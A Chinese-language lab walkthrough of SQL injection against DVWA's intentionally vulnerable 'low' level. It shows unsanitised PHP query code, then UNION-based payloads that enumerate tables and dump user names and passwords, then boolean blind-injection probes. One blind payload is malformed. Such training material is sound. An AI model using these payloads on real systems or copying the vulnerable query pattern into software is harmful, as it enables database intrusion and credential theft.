1 SQL Injection
1.1 解释
SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏 SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的 危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现 在最常见的Web漏洞之一。近期很火的大使馆接连被黑事件,据说黑客依靠 的就是常见的SQL注入漏洞。
1.2 手工注入思路
手工注入思路 自动化的注入神器sqlmap固然好用,但还是要掌握一些手工注入的思路,下 面简要介绍手工注入(非盲注)的步骤。 1.判断是否存在注入,注入是字符型还是数字型 2.猜解SQL查询语句中的字段数 3.确定显示的字段顺序
4.获取当前数据库 5.获取数据库中的表 6.获取表中的字段名 7.下载数据 下面对四种级别的代码进行分析。
1.3 low
服务器端核心代码
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ];
// Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results $num = mysql_numrows( $result ); $i = 0; while( $i < $num ) { // Get values $first = mysql_result( $result, $i, "first_name" ); $last = mysql_result( $result, $i, "last_name" );
// Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre
// Increase loop count $i++; }
mysql_close(); }
?>
可以看到,Low级别的代码对来自客户端的参数id没有进行任何的检查与过
滤,存在明显的SQL注入。
漏洞利用 现实攻击场景下,攻击者是无法看到后端代码的,所以下面的手工注入步骤 是建立在无法看到源码的基础上。 1.判断是否存在注入,注入是字符型还是数字型 输入1,查询成功:
输入1’and ‘1’ =’2,查询失败,返回结果为空
输入1’or ‘1234 ’=’1234,查询成功:
返回了多个结果,说明存在字符型注入。 2.猜解SQL查询语句中的字段数 输入1′ or 1=1 order by 1 #,查询成功:
输入1′ or 1=1 order by 3 #,查询失败
说明执行的SQL查询语句中只有两个字段,即这里的First name、Surname。
(这里也可以通过输入union select 1,2,3…来猜解字段数) 3.确定显示的字段顺序 输入1′ union select 1,2 #,查询成功:
说明执行的SQL语句为select First name,Surname from 表 where ID=’id’… 4.获取当前数据库 输入1′ union select 1,database() #,查询成功:
说明当前的数据库为dvwa。 5.获取数据库中的表
输入1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查询成功:
说明数据库dvwa中一共有两个表,guestbook与users。 6.获取表中的字段名 输入1′ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #,查询成功:
说明users表中有8个字段,分别是 user_id,first_name,last_name,user,password,avatar,last_login,failed_login。 7.下载数据 输入1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查询成功:
这样就得到了users表中所有用户的user_id,first_name,last_name,password 的数据。
2 SQL Injection (Blind)
2.1 SQL盲注与普通的SQL注入区别
普通SQL注入:
1、执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,提示SQL语法错误等;
2、一般页面上直接就会显示SQL执行情况。
SQL盲注:
1、一般情况,执行SQL盲注,服务器不会直接放回具体的数据库错误或者语法错误,而是放回惩罚开发者所设定的特定信息(当然,也有例
外,例如基于报错的盲注);
2、一般在页面上不会直接显示SQL语句执行结果;
3、有可能出现不确定的SQL是否执行,或者执行的情况。
2.2 low
1.判断是否存在注入,注入是字符型还是数字型
输入1,显示相应用户存在:
我们输入恶意字符,同样也返回结果为:数据库中缺少用户ID。’
我们输入1’#返回正常
#是注释
我们可以构造如下语句来判断注入的类型
1’ and 1=1 #
返回结果存在
1’ and 1=2#
返回结果不存在
由此我们可以判断出该输入框存在盲注,且注入类型为字符型注入
那么接下来我们可以构造sql语句来猜解数据库等
我们首先判断数据库长度,可以构造如下poc,使用length函数来判断字符串长度
1’ and length(database())>5 #
返回结果
1’ and length(database())>3#
由此我们可以看出当前链接数据库名的长度大于3小于5,长度为4
那么我们继续判断数据库名称的字符组成元素,此时利用substr()函数从给定的字符串中,从指定位置开始截取指定长度的字符串,分离出数据库名称的每个位置的元素,并分别将其转换为ASCII码,与对应的ASCII码值比较大小,找到比值相同时的字符,然后各个击破。
mysql数据库中的字符串函数 substr()函数和hibernate的substr()参数都一样,但含义有所不同。
用法:
substr(string string,num start,num length);
string为字符串;
start为起始位置;
length为长度。
区别:
mysql中的start是从1开始的,而hibernate中的start是从0开始的。
以上常规可能用到的字符的ASCII码取值范围:[48,122]
当然也可以扩大范围,在ASCII码所有字符的取值范围中筛选:[0,127]
1’ and ascii(substr(database(),1,1))>88 # exists
猜解表的个数
1’ and (select count(table_name) from information_schema.tables where table_schema=database())>2 #
猜解第一个表的表名长度
1’ and length( substr( (select count(table_name) from information_schema.tables where table_schema=database())1))>10#
猜解第一个表的表名的第一个字符
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 #
我们可以依此类推,将剩下的字符一一爆破
\